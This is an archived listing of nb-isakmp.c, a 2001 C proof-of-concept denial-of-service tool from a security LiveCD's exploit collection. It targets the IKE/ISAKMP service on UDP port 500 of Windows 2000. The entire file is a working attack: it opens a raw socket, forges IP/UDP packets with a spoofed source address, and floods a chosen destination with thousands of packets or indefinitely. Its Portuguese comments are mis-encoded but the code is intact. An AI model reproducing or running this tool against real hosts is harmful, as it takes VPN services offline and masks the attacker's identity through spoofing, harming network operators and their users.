home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / windows / nb-isakmp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  480 lines
  1. /* Autor         :       Nelson Brito
  2.  
  3.  * E-mail        :       nelson@SEKURE.ORG ou nelson@WWSECURITY.NET
  4.  
  5.  * URL           :       http://nelson.wwsecurity.net/
  6.  
  7.  * Arquivo       :       nb-isakmp.c
  8.  
  9.  * Versπo        :       0.3 Alpha
  10.  
  11.  * Paφs          :       Brasil
  12.  
  13.  * Data          :       11/12/2001
  14.  
  15.  *
  16.  
  17.  *
  18.  
  19.  * Descriτπo: 
  20.  
  21.  * Este Θ a prova-do-conceito(proof-of-concept) do ataque de negaτπo
  22.  
  23.  * de serviτo(denial of service, a.k.a. DoS) que explora a falha do
  24.  
  25.  * IKE/ISAKMP(UDP 500) em sistemas Windows 2000.
  26.  
  27.  *
  28.  
  29.  * Esta Θ a versπo em C de um c≤digo jß lanτado em PERL(Net::RawIP).
  30.  
  31.  *
  32.  
  33.  * Feliz Natal e um Feliz Ano Novo.
  34.  
  35.  * Merry Christmas and Happy New Year.
  36.  
  37.  */
  38.  
  39. #include <stdio.h>
  40.  
  41. #include <netdb.h>
  42.  
  43. #include <string.h>
  44.  
  45. #include <getopt.h>
  46.  
  47. #include <stdlib.h>
  48.  
  49. #include <signal.h>
  50.  
  51. #include <unistd.h>
  52.  
  53. #include <arpa/inet.h>
  54.  
  55. #include <sys/types.h>
  56.  
  57. #include <sys/socket.h>
  58.  
  59. #include <netinet/in.h>
  60.  
  61. #include <netinet/ip.h>
  62.  
  63. #include <netinet/udp.h>
  64.  
  65.  
  66.  
  67. #define ISAKMP_LEN      800
  68.  
  69. #define IPPORT_ISAKMP   500
  70.  
  71. #define SEND_MAX        31337
  72.  
  73.  
  74.  
  75.  
  76.  
  77. extern char *optarg;
  78.  
  79. extern int optind;
  80.  
  81. extern int h_errno;
  82.  
  83.  
  84.  
  85. void usage(char *name){
  86.  
  87.         printf("\nUse:  %s [options]\n\n", name);
  88.  
  89.         printf("\t-s, --source*\t\tSource Address to Spoof\n");
  90.  
  91.         printf("\t-d, --destination*\tDestination Address to Attack\n");
  92.  
  93.         printf("\t-p, --port\t\tDestination Port to Attack\t(def: %d)\n", IPPORT_ISAKMP);
  94.  
  95.         printf("\t-n, --number\t\tNumber of Packets to Send\t(def: %d)\n", SEND_MAX);
  96.  
  97.         printf("\t-l, --length\t\tPackets Length\t\t\t(def: %d)\n", ISAKMP_LEN);
  98.  
  99.         printf("\t-L, --loop\t\tSend Packets Forever\n");
  100.  
  101.         printf("\t-h, --help\t\tShow this Message\n\n");
  102.  
  103.         printf("Copyrigth(c) 2001 Nelson Brito<nelson@SEKURE.ORG>. All rigths reserved.\n");
  104.  
  105.         exit(0);
  106.  
  107. }
  108.  
  109.  
  110.  
  111. void u_abort(int s){
  112.  
  113.         printf("\nnb-isamkp.c: aborted process id %d.\n", getpid());
  114.  
  115.         printf("Rock my world, baby!\n");
  116.  
  117.         exit(0);
  118.  
  119. }
  120.  
  121.  
  122.  
  123. char die(char *message){
  124.  
  125.         printf("%s\n", message);
  126.  
  127.         exit(0);
  128.  
  129. }
  130.  
  131.  
  132.  
  133. /* 
  134.  
  135.  * Eu jß vi vßrias funτ⌡es que fazem a mesma coisa, porΘm nunca de
  136.  
  137.  * uma forma tπo robusta. Quero ver neguinho pagar pau pros gringos
  138.  
  139.  * agora. ;-)
  140.  
  141.  */
  142.  
  143. u_long getip(char *destination){
  144.  
  145.         static u_long ip_addr;
  146.  
  147.         struct hostent *hostname;
  148.  
  149.  
  150.         hostname = gethostbyname(destination);
  151.  
  152.         if(hostname == NULL){
  153.  
  154.                 switch(h_errno){
  155.  
  156.                         case HOST_NOT_FOUND:
  157.  
  158.                                 die("getip(): the spcified host is unknown."); 
  159.  
  160.                                 break;
  161.  
  162.                         case NO_ADDRESS|NO_DATA:
  163.  
  164.                                 die("getip(): the requested name is valid but does not have an IP address."); 
  165.  
  166.                                 break;
  167.  
  168.                         case NO_RECOVERY:
  169.  
  170.                                 die("getip(): a non-recoverable name server error occured."); 
  171.  
  172.                                 break;
  173.  
  174.                         case TRY_AGAIN:
  175.  
  176.                                 die("getip(): a temporary error occurred on a AUTH NS, try again later."); 
  177.  
  178.                                 break;
  179.  
  180.                         default: 
  181.  
  182.                                 break;
  183.  
  184.                 }
  185.  
  186.         }
  187.  
  188.        memcpy(&ip_addr, hostname->h_addr, hostname->h_length);
  189.  
  190.         return(ip_addr);        
  191.  
  192. }
  193.  
  194.  
  195.  
  196. int isakmp_dos(int sock, u_long s_address, u_long d_address, int port, int number, int forever, int length){
  197.  
  198.         int nbs, 
  199.  
  200.             i, 
  201.  
  202.             psize, 
  203.  
  204.             times = 0, 
  205.  
  206.             dp,
  207.  
  208.             iplen  = sizeof(struct iphdr),
  209.  
  210.             udplen = sizeof(struct udphdr);
  211.  
  212.  
  213.  
  214.         struct sockaddr_in sin;
  215.  
  216.  
  217.  
  218.         struct _packet{
  219.  
  220.                 struct iphdr  ip;
  221.  
  222.                 struct udphdr udp;
  223.  
  224.                 char data[length];
  225.  
  226.         } nb_pkt;
  227.  
  228.  
  229.  
  230.  
  231.  
  232.  
  233.  
  234.         sin.sin_family      = AF_INET;
  235.  
  236.         sin.sin_port        = 1235;
  237.  
  238.         sin.sin_addr.s_addr = d_address;
  239.  
  240.  
  241.  
  242.         psize = iplen + udplen + length;
  243.  
  244.         
  245.  
  246.         memset(&nb_pkt, 0, psize);
  247.  
  248.  
  249.  
  250.         nb_pkt.ip.version  = 4;
  251.  
  252.         nb_pkt.ip.ihl      = 5;
  253.  
  254.         nb_pkt.ip.tot_len  = htons(iplen + udplen + length);
  255.  
  256.         nb_pkt.ip.id       = htons(0xdead);
  257.  
  258.         nb_pkt.ip.ttl      = 0xff;
  259.  
  260.         nb_pkt.ip.protocol = IPPROTO_UDP;
  261.  
  262.         nb_pkt.ip.saddr    = s_address;
  263.  
  264.         nb_pkt.ip.daddr    = d_address;
  265.  
  266.  
  267.  
  268.         dp = port ? port : IPPORT_ISAKMP;
  269.  
  270.  
  271.  
  272.         nb_pkt.udp.source = htons(dp);
  273.  
  274.         nb_pkt.udp.dest   = htons(dp);
  275.  
  276.         nb_pkt.udp.len    = htons(length);
  277.  
  278.         nb_pkt.udp.check  = htons(0xbeef);
  279.  
  280.  
  281.  
  282.         for(i = 0 ; i < length ; i++)
  283.  
  284.                 nb_pkt.data[i] = 0x2e;
  285.  
  286.  
  287.  
  288.         times = number ? number : SEND_MAX;
  289.  
  290.  
  291.  
  292.         while(times > 0){
  293.  
  294.                 printf(".");
  295.  
  296.                 nbs = sendto(sock, &nb_pkt, psize, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr));
  297.  
  298.                 if(!forever) times--;
  299.  
  300.         }
  301.  
  302.         return nbs;
  303.  
  304. }
  305.  
  306.  
  307.  
  308. int main(int argc, char **argv){
  309.  
  310.         char *version = "0.4a";
  311.  
  312.         u_long source, destination;
  313.  
  314.         int lineopt, 
  315.  
  316.             port = 0, 
  317.  
  318.             nb, 
  319.  
  320.             nbs = 1,
  321.  
  322.             loop = 0,
  323.  
  324.             number = 0,
  325.  
  326.             pkt_len,
  327.  
  328.             src_ok = 0,
  329.  
  330.             dst_ok = 0,
  331.  
  332.             length = 0;
  333.  
  334.  
  335.  
  336.         printf("--- nb-isakmp.c v.%s / Nelson Brito / Independent Security Consultant ---\n", version);
  337.  
  338.  
  339.  
  340.         (argc < 4) ? usage(argv[0]) : (char *)NULL;
  341.  
  342.  
  343.  
  344.         signal(SIGHUP,  SIG_IGN);
  345.  
  346.         signal(SIGINT,  u_abort);
  347.  
  348.         signal(SIGTERM, u_abort);
  349.  
  350.         signal(SIGKILL, u_abort);
  351.  
  352.         signal(SIGQUIT, u_abort);
  353.  
  354.  
  355.  
  356.         while(1){
  357.  
  358.                 static struct option my_opt[]={
  359.  
  360.                         {"source",        1, 0, 's'},
  361.  
  362.                         {"destination",   1, 0, 'd'},
  363.  
  364.                         {"port",          1, 0, 'p'},
  365.  
  366.                         {"number",        1, 0, 'n'},
  367.  
  368.                         {"length",        1, 0, 'l'},
  369.  
  370.                         {"loop",          0, 0, 'L'},
  371.  
  372.                         {"help",          0, 0, 'h'},
  373.  
  374.                         {0,               0, 0, 0}
  375.  
  376.                 };
  377.  
  378.                 int option_index = 0;
  379.  
  380.                 lineopt = getopt_long(argc, argv, "s:d:p:n:l:Lh", my_opt, &option_index);
  381.  
  382.  
  383.  
  384.                 if(lineopt == -1) break;
  385.  
  386.  
  387.  
  388.                 switch(lineopt){
  389.  
  390.                         case 's':
  391.  
  392.                                 source = getip(optarg); 
  393.  
  394.                                 src_ok++; 
  395.  
  396.                                 break;
  397.  
  398.                         case 'd':
  399.  
  400.                                 destination = getip(optarg); 
  401.  
  402.                                 dst_ok++; 
  403.  
  404.                                 break;
  405.  
  406.                         case 'p':
  407.  
  408.                                 port = atoi(optarg);
  409.  
  410.                                 if((port <= 0) || (port > 65535))
  411.  
  412.                                         die("main(): port range error.");
  413.  
  414.                                 break;
  415.  
  416.                         case 'n':
  417.  
  418.                                 number = atoi(optarg); 
  419.  
  420.                                 break;
  421.  
  422.                         case 'l':
  423.  
  424.                                 length = atoi(optarg); 
  425.  
  426.                                 break;
  427.  
  428.                         case 'L':
  429.  
  430.                                 loop++; 
  431.  
  432.                                 break;
  433.  
  434.                         case 'h':
  435.  
  436.                         default:
  437.  
  438.                                 usage(argv[0]); 
  439.  
  440.                                 break;
  441.  
  442.                 }
  443.  
  444.         }
  445.  
  446.  
  447.  
  448.         if((!src_ok) && (!dst_ok)) usage(argv[0]);
  449.  
  450.  
  451.  
  452.         if((nb = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))< 0)
  453.  
  454.  
  455.                 die("main(): socket() error.");
  456.  
  457.         
  458.  
  459.         if(setsockopt(nb, IPPROTO_IP, IP_HDRINCL, (char *)&nbs, sizeof(nbs)) < 0)
  460.  
  461.                 die("main(): setsockopt() error.");
  462.  
  463.  
  464.  
  465.         pkt_len = length ? length : ISAKMP_LEN;
  466.  
  467.  
  468.  
  469.         if((isakmp_dos(nb, source, destination, port, number, loop, pkt_len)) == -1)
  470.  
  471.                 die("main(): isakmp_dos() error");
  472.  
  473.  
  474.  
  475.         printf("\nRock my world, baby!\n");
  476.  
  477.         return(1);
  478.  
  479. }
  480.